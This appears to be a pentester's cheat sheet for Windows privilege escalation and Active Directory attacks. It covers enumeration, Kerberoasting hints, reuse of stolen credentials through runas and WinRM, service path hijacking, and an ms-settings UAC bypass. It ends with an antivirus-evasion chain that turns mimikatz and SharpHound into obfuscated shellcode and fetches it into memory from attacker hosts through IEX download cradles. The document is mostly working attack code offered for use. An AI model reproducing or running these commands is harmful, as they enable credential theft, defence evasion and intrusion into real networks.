LPE/HOSTļƒ


Dumb reminders
- Domain user can be member of a machine localgroup, you need to try to spread creds on differents protocols (rdp, wmi, smb, winrm, mssql ā€¦)
- One user (domain or local) can probably access multiple machines
- Admins often leave creds cache on machines
- Code execution is not always the main objective, sometimes creds juste give a share access

Miscļƒ

# Recursively list current dir
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {$_.LastWriteTime -ge "01/01/2024" -and $_.LastWriteTime -le "12/25/2029"} | Select Length, FullName, LastWriteTime |Out-String -width 999
CMD.EXE /C dir /s/b *

# Recursively list Alternate Data Streams
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' # Get-Content -path C:\users\mak\demo.txt:ads.txt -stream *

# Get owner of a file or a folder
get-item "C:\Windows"| Select-Object fullname, LastAccessTime, LastWriteTime, CreationTime, @{N='Owner';E={$_.GetAccessControl().Owner}}

# Users
whoami /all
net user ; ls / -Force ; ls /users/ ; ls /users/* ; ls /users/*/* ; ls /users/*/*/*

# Groups
net localgroup "Administrators"
net localgroup ; net localgroup "Remote Management Users" ; net localgroup "Remote Desktop Users"

# Creds
cmdkey /list # Go to the creds part if any user here

# PS history
cat (Get-PSReadlineOption).HistorySavePath
ls C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# TaskScheduler logs ?????? (last 10 events)
CMD.EXE /C wevtutil.exe qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:10

# PowerShell Script Block Logging (just list events by user)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 }  | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, MachineName, LevelDisplayName | Sort-Object -Property RecordId|Format-Table -AutoSize|Out-String -width 999
# PowerShell Script Block Logging (print all messages)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 }  | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, LevelDisplayName, MachineName, Message | Sort-Object -Property RecordId

# Search for files
Get-ChildItem -Include proof.txt, local.txt, *.kdbx -Path / -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue

# Listening ports
netstat -aon
Get-NetTCPConnection -State Listen | select LocalPort, LocalAddress, OwningProcess | Sort-Object LocalPort | ConvertTo-Csv

# Process
[System.Diagnostics.Process]::GetCurrentProcess()|select * # Current process info
[System.Diagnostics.Process]::GetProcesses()|where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ID,SI,Path|Format-Table -AutoSize|Out-String -width 9999
Get-WmiObject Win32_Process | where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ExecutablePath,@{Label="Owner";Expression={$_.GetOwner().User}},Handle,CommandLine|Format-Table -AutoSize|Out-String -width 9999

# Softs
ls /program*/*
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-WmiObject -Class Win32_Product | select Vendor,Name,Version |Format-Table|Out-String -width 9999

# Tasks
CMD /C "schtasks.exe /Query /FO CSV /V" | ConvertFrom-CSV | where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*|N/A|Author"}|ForEach-Object{"-"*100;$_}|Out-String -width 9999
Get-ScheduledTask|where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*"}|ForEach-Object{"-"*100;schtasks.exe /query /fo LIST /v /tn $_.URI}|Out-String -width 9999

#schtasks /create /sc minute /mo 60 /tn "TASK1" /tr "C:\test\r.exe" # /ru SYSTEM /RL HIGHEST
#schtasks /run /tn "TASK1"
#schtasks /delete /tn "TASK1" /f

# Default programs for extensions types
CMD /C Ftype # List of programs <> type
CMD /C Assoc # List of extensions <> type


Domain infoļƒ


net user johndoe /domain
net group /domain "Domain Admins"
net group /domain "Protected Users"
echo "$env:logonserver" 2>&1
Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain
Get-WmiObject -Class Win32_NTDomain | select DomainControllerName, DomainControllerAddress, DomainName, DnsForestName
Test-ComputerSecureChannel -Verbose # -Server "DC01.domain.com"

# Retrieve infos with LDAP queries
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$domainObj;$domainObj.DomainControllers | Foreach { Write-Host ... $_.Name ... $_.IPAddress }
$LDAP = "LDAP://" + $domainObj.PdcRoleOwner.Name + "/" + ([adsi]'').distinguishedName
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="";$ALL = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=user";$users = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=group";$groups = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=computer";$computers = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=groupPolicyContainer";$GPOs = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=domainDNS";$domainDNS = $dirsearcher.FindAll()
$dirsearcher.filter="(&(isCriticalSystemObject=TRUE))";$CriticalSystemObjects = $dirsearcher.FindAll()

# Check Machine Account Quota (if > 0 you can try to perform RBCD attack based on added computer, protected users can't be impersonated)
foreach ($obj in $domainDNS) { $quota = $obj.Properties["ms-ds-machineaccountquota"]; if ($quota -ne $Null ){  Write-Host $quota $obj.Path }}

# Print users and list groups if any, check for admincount property and read some userAccountControl flags.
# userAccountControl flags list : https://learn.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_user_flag_enum
Foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $ADS_USER_FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $ADS_USER_FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $ADS_USER_FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
    if ($name -ne $sam){ $name = "$sam --- $name" };
    Write-Host "USERS# --- $name ---$state" -ForegroundColor Green
    $memberof = $obj.Properties['memberof'] ; $scriptPath = $obj.Properties['scriptPath']
    if ( $memberof -ne $null){ $memberof | ForEach-Object { "USERS#     $_" } }
    if ( $scriptPath -ne $null){ "USERS#     LOGON SCRIPT: $scriptPath"}; "USERS#     "
}

# Print populated groups, check for admincount property
Foreach($obj in $groups)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $member = $obj.Properties['member']; $admincount = $obj.Properties['admincount']
    if ( $admincount -ne $null ){ $admincount = "(ADMINCOUNT)" }
    if ( $member -ne $null){
        if ($name -ne $sam){ $name = "$sam --- $name" }
        Write-Host "GROUPS# --- $name --- $admincount" -ForegroundColor Green
        $member | ForEach-Object { "GROUPS#     $_" } -end { "GROUPS#" }
    }
}

# List computers with os version
Foreach($obj in $computers)
{
    $name = $obj.Properties['dnshostname']; $state = ""
    $FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
    $os = $obj.Properties['operatingsystem']; $osversion = $obj.Properties['operatingsystemversion']
    Write-Host "COMPUTERS#     $name -- $os -- $osversion -- $state"
}

# List users SPNs (Users are Kerberoastable but you can also list others SPNs instead of users)
foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"];
    $serviceprincipalname = $obj.Properties['serviceprincipalname']
    if ($serviceprincipalname -ne $null){
        if ($name -ne $sam){ $name = "$sam --- $name" }
        Write-Host "SPN# --- $name --- " -ForegroundColor Green
        $serviceprincipalname | ForEach-Object { "SPN#     $_" } -end { "SPN#" }
    }
}

# List unusual user flags (DONT_REQUIRE_PREAUTH flag means the account is AS REP Roastable)
Foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $FLAGS = @{ PASSWD_NOTREQD = 0x20; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( (-not [bool]($obj.Properties["userAccountControl"][0] -band 0x100000)) -and ($obj.Properties['admincount'] -ne $null)){ $state += " DELEGATED_ADMIN" } #Delegated and admin
    if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
    if ($name -ne $sam){ $name = "$sam --- $name" }
    if ( $state -ne "" ){Write-Host "USERS# --- $name ---$state"}
}

# List unusual computer flags (if TRUSTED_FOR_DELEGATION and not a DC check for Unconstrained Delegation, and if TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION for constrained)
Foreach($obj in $computers)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $FLAGS = @{ ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
    if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
    if ( $state -ne "" ){Write-Host "COMPUTERS# --- $sam ---$state"}
}

# List ACLs, exclude CriticalSystemObjects, exclude Inherited, filter on domain objects
$CriticalSystemObjectsSID = $CriticalSystemObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
$DomainObjects = $users + $computers + $groups + $GPOs
$DomainObjectsSID = $DomainObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
Foreach($obj in $DomainObjects)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]
    $aclList = (New-Object System.DirectoryServices.DirectoryEntry($obj.Path)).PSBase.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.SecurityIdentifier])
    $Identities = @{}; foreach($ACL in $aclList){try{
        if ( $CriticalSystemObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
        if ( -Not $DomainObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
        $Identity = (New-Object System.Security.Principal.SecurityIdentifier($ACL.IdentityReference)).Translate([System.Security.Principal.NTAccount]).Value
        $Rights = $ACL.ActiveDirectoryRights ; $Rights = "$Rights".replace(" ","").Split(",")
        if ( $Identities["$Identity"] -eq $Null ){ $Identities["$Identity"] = @($Rights) } else { $Identities["$Identity"] += $Rights }
    }catch{}} ; if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
    foreach ($Identity in $Identities.Keys) { Write-host "ACE# -- $sam <-- $Identity ($(($Identities.$Identity|Sort-Object -Unique) -join ", "))"}
}

# List GPOs
$GPOs | ForEach-Object { $p=$_.Properties; $r = "GPO# $($p.name) -- $($p.displayname) -- Created $($p.whencreated)"; $r = [string]::join("",($r.Split("`n"))); Write-host $r }

# List GPOs by object in domain
Foreach($obj in $ALL)
{
    $gplink = $obj.Properties.gplink; if ( $gplink -eq $null ){ continue }
    $gpoptions = $obj.Properties.gpoptions
    $name = $obj.Properties["name"]; $desc = $obj.Properties["description"]; $dn = $obj.Properties["distinguishedname"]; $category = $obj.Properties["objectCategory"]
    Write-host "GPO# -- $name -- $desc -- $dn -- $category -- gpoptions:'$gpoptions'" -ForegroundColor Green
    $gplink | ForEach-Object {
        $_ -match ".*({.*}).*;(\w+)"| Out-Null; $gpoid = $matches[1]; $status = $matches[2]
        $statusdesc = switch($status){0{"LinkEnabled"}1{"LinkDisabled"}2{"LinkEnabled Enforced"}3{"Enforced"}}
        $GPOs | ForEach-Object { if ( $_.Properties.name -eq $gpoid ){$gpodisplayname = $_.Properties.displayname}}
        Write-host "GPO#    GPO: $gpoid -- $status=$statusdesc -- $gpodisplayname"
    } -end { "GPO#" }
}

# List SYSVOL shares files of Domain Controllers (you can search for cpassword inside files)
foreach ($Server in $domainObj.DomainControllers.Name){
    $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
    Get-ChildItem "\\$Server\SYSVOL\$($domainObj.Name)" -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
}

# List Shares (test 445 for each computer with 300ms timeout, list shares and check if readable/writable)
foreach ($Server in $computers.Properties.dnshostname){
    $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
    (net view $Server /all)|foreach{$infos=convertfrom-string $_.trim() -delim '\s{2,}' -propertynames 'Share','Type','UsedAs','Comment';
    if($infos.Type -eq 'Disk'){$shareName=$infos.Share;$state="";
    if([System.IO.Directory]::Exists("\\$Server\$shareName")){$state+="R"}else{$state+="-"}
    $f="\\$Server\$shareName\testwritable";Try{[io.file]::OpenWrite($f).close();Remove-Item $f;$state+="W"}Catch{$state+="-"}
    Write-Host " $state  \\$Server\$shareName   ## $($infos.UsedAs)   $($infos.Comment)"}}
}

In-Memory SharpHound (You need loadsc script from AV section, and embeddable 32bits python)
sudo wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -O /var/www/html/SharpHound.exe
PARAMS='-c All'
INPUT_FILE='/var/www/html/SharpHound.exe'
SHELLCODE_OUTPUT_FILE='/tmp/SharpHoundsc'
ENCODED_PAYLOAD_FILE='/var/www/html/SharpHound'
python3 -c "import donut; donut.create(thread=1,compress=2,bypass=1,exit_opt=1,arch=1,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null

cat <<'EOF'|sudo tee /var/www/html/startSharpHound
$loadsc="$web/loadsc"; $sc="$web/SharpHound"; $python="$web/python32.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python32\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python32.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python32.zip", "$dir\python32\")};
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python32\python.exe" -ArgumentList $arguments
EOF
$web="http://192.168.1.123";IEX(New-Object Net.WebClient).downloadString("$web/startSharpHound")


Credsļƒ

SavedCredsļƒ

Start process as another user with runas (https://juggernaut-sec.com/runas/)
You probably need a GUI interface (rdp)
# Check for saved creds
cmdkey /list

# Usage
runas /user:DOMAIN\Administrator /savecred "cmd.exe /c whoami > c:\whoami.txt"
runas /user:DOMAIN\Administrator /savecred "c:\reverse\payload.exe"

# Search for other dpapi keys
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*" -ErrorAction SilentlyContinue
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\protect\*\*" -ErrorAction SilentlyContinue
Get-ChildItem -force "C:\users\*\appdata\roaming\microsoft\credentials\*" -ErrorAction SilentlyContinue

RunASļƒ

RunasCs ā€œis an improved and open version of windows builtin runas.exe that solves some limitationsā€
wget 1.2.3.4/RunasCs.exe -O RunasCs.exe
./RunasCs.exe user 'password' -d "domain" "whoami /all"
Powershell can use credentials as well
# powershell -ep bypass
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$cmd = '-c "whoami /all"'
$shell = 'POWERSHELL.EXE'
$domain = hostname # Modify if any or distant machine name
$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)

# No output
# Start-Process -FilePath $shell -Credential $cred -ArgumentList $cmd

# or retrieve stdout & stderr
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $shell
$pinfo.UserName = $user
$pinfo.Domain = $domain
$pinfo.Password = ConvertTo-SecureString $pass -AsPlaintext -Force
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.CreateNoWindow = $true
$pinfo.Arguments = $cmd
$pinfo.WorkingDirectory = 'C:\'
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
$p.WaitForExit()
Write-Host "stdout: $stdout"
Write-Host "stderr: $stderr"
Write-Host "exit code: " + $p.ExitCode

WinRMļƒ

Start process as another user with WinRM protocol (localhost or remote target)
User must be part of ā€œRemote Management Usersā€ group
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$domain = hostname # Modify if !self
$machine = hostname # Modify if !self

Test-WsMan $machine # Test is WINRM service is available

$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)
$session = New-PSSession -ComputerName $machine -Credential $cred

Get-PSSession # List sessions

Enter-PSSession -session $session # Interactive PS session (PS commands only)
# Invoke-Command -session $session -scriptblock { whoami /all }
# Invoke-Command -session $session -scriptblock { powershell -c "ls" }

# Exit-PSSession
# exit 0
# Remove-PSSession $session

Servicesļƒ

# List services
Get-CimInstance -ClassName win32_service|Select Name,State,StartMode,StartName,PathName|Format-Table|Out-String -width 999|findstr /i /v /c:"\Windows" /c:"\Microsoft"

# If you don't have rights you can play with registry
$d='c:\services\';mkdir $d;(Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services')|ForEach-Object{if($_.Property -match 'ImagePath'){$f=$d+$_.PSChildName;($_|Out-String)-split[Environment]::NewLine|Select-String -Pattern '^.*\s([a-z]+\s+\: .*)$'|ForEach-Object{$_.matches.groups[1].Value}|Out-File $f}};Get-ChildItem $d

# Retrieve infos about service
sc.exe qc "MyService"
sc.exe query "MyService"
$svc="MyService";$r=sc.exe sdshow $svc;$r=ConvertFrom-SddlString "$r";%{$r.DiscretionaryAcl-replace": AccessAllowed \(|, |\)","`n`t"} # Permissions
check for unquoted path :
If you see unquoted path : C:\dir\a b\c.exe instead of ā€œC:\dir\a b\c.exeā€
The system will try C:\dir\a.exe path first before ā€œC:\dir\a b\c.exeā€
If C:\dir\ is writable then you can add your payload at C:\dir\a.exe
(BTW folders created into C:\ have extended rights by default)
# Check if "C:\dir\" is writable, F (full access), AD (append data/add subdirectory), WD (write data/add file)
icacls "C:\dir\"
Put a payload at ā€œC:\dir\a.exeā€
Then start the service
# Start service
sc.exe start "MyService"

Look for dll you can replace (existing or missing ones)
Export the service PE file to your machine for investigation.
You can dynamically search for missing DLL with procmon, or statically search for DLL names into text section with rz-bin
rz-bin -zzz /tmp/share/myservice.exe | grep -i dll

UACļƒ

Checksļƒ

You can check your integrity level with whoami /groups
For example if you are member of ā€œMandatory LabelMedium Mandatory Levelā€ group you are in a medium integrity process

You can also check the SID number instead of the name
CMD.EXE /C whoami /groups|Select-String -Pattern '^.*S-1-16-([0-9]*).*$'|%{Switch($_.matches.groups[1]){0{"UNTRUSTED"}4096{"LOW"}8192{"MEDIUM"}8448{"MEDIUMPLUS"}12288{"HIGH"}16384{"SYSTEM"}20480{"PROTECTEDPROCESS"}}}

Then, check UAC status:
# 0x1 = UAC Enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

# UAC mode : 5=default will prompt to confirm, 0 = Disabled, 1=Ask for password
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

# If set, disable UAC for: 0=RID500, 1=Administrators members
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy

# If 0 (default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken
If UAC doenā€™t affect you, then you can already run as admin
mkdir c:\r ; wget 10.10.14.121/r.exe -O  C:\r\r.exe
Start-Process powershell -Verb runAs "c:\r\r.exe"

Bypassļƒ

Use case:
You are into the administrators group but your session is in medium level integrity
You want to open an admin terminal or run a command as admin (High integrity)

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "c:\r\r.exe" /f
mkdir c:\r ; wget 10.10.14.121/r.exe -O  C:\r\r.exe ; CMD.EXE /C start computerdefaults.exe

AV Bypassļƒ

Requirements:
- Web server (to host payloads)
- Connectivity between your target and your web server
- /var/www/html/python.zip (pick a stable version from https://www.python.org/downloads/windows/)
Installing donut package (transform exe to shellcode)
pip3 install -U donut-shellcode --break-system-packages

This python function load encoded shellcode payload from url and load it in-memory heap
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadsc >/dev/null
import ctypes, ctypes.wintypes as wt
import gzip, io, urllib.request as r, platform as p

def load(url):
    print(f"[*] Given URL : {url}", flush=True)
    kernel32 = ctypes.windll.kernel32
    buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
    lenbuff = len(buff)
    HeapCreate = kernel32.HeapCreate
    HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
    HeapCreate.restype = wt.HANDLE
    heap = HeapCreate(0x00040000, lenbuff, 0)
    HeapAlloc = kernel32.HeapAlloc
    HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t]
    HeapAlloc.restype = wt.LPVOID
    HeapAlloc(heap, 0x00000008, lenbuff)
    RtlMoveMemory = kernel32.RtlMoveMemory
    RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
    RtlMoveMemory.restype = wt.LPVOID
    RtlMoveMemory(heap, buff, lenbuff); del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
    CreateThread = kernel32.CreateThread
    CreateThread.argtypes = [wt.LPVOID, ctypes.c_size_t, wt.LPVOID,wt.LPVOID, wt.DWORD, wt.LPVOID]
    CreateThread.restype = wt.HANDLE
    Thread = CreateThread(0, 0, heap, 0, 0, 0)
    WaitForSingleObject = kernel32.WaitForSingleObject
    WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
    WaitForSingleObject.restype = wt.DWORD
    WaitForSingleObject(Thread, 0xFFFFFFFF); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF

This python function load encoded shellcode payload from url and load it in-memory with VirtualAlloc
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadscva >/dev/null
import ctypes as c, gzip, io, urllib.request as r, platform as p
def load(url):
    print(f"[*] Given URL : {url}", flush=True)
    k32 = c.windll.kernel32 ; k32.VirtualAlloc.restype = c.c_void_p
    ct = k32.CreateThread ; ct.argtypes = ( c.c_int, c.c_int, c.c_void_p, c.c_int, c.c_int, c.POINTER(c.c_int) ) ; ct.restype = c.c_void_p
    buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
    lenbuff = len(buff) ; space = k32.VirtualAlloc(c.c_int(0),c.c_int(lenbuff),c.c_int(0x3000),c.c_int(0x40)) ; buff = ( c.c_char * lenbuff ).from_buffer_copy( buff )
    k32.RtlMoveMemory(c.c_void_p(space),buff,c.c_int(lenbuff)) ; buff = "" ; del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
    handle = ct(c.c_int(0),c.c_int(0),c.c_void_p(space),c.c_int(0),c.c_int(0),c.pointer(c.c_int(0)))
    k32.WaitForSingleObject(handle, -1); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF

For demonstration we will use mimikatz as payload
# Set any parameter you want but if empty donut will send args to stdin at runtime (you can set it to space " " if you don't want any)
# PARAMS='privilege::debug sekurlsa::logonpasswords'
PARAMS=' '
INPUT_FILE='/var/www/html/mimikatz64.exe'
SHELLCODE_OUTPUT_FILE='/tmp/mimikatz64sc'
ENCODED_PAYLOAD_FILE='/var/www/html/mimi64'
python3 -c "import donut; donut.create(thread=0,compress=2,bypass=1,exit_opt=3,arch=2,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null

# test : msfvenom -p windows/x64/exec CMD="calc.exe" -f raw | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/sc >/dev/null

Powershell script to call python
cat <<'EOF'|sudo tee /var/www/html/startmimi64
$loadsc="$web/loadsc"; $sc="$web/mimi64"; $python="$web/python.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
&$dir\python\python.exe -c "import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')";
EOF
# &$env:TEMP\python\python.exe -c "print('test')"

$web="http://1.2.3.4";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")

# ONLINE TEST for heap method (educational purpose only)
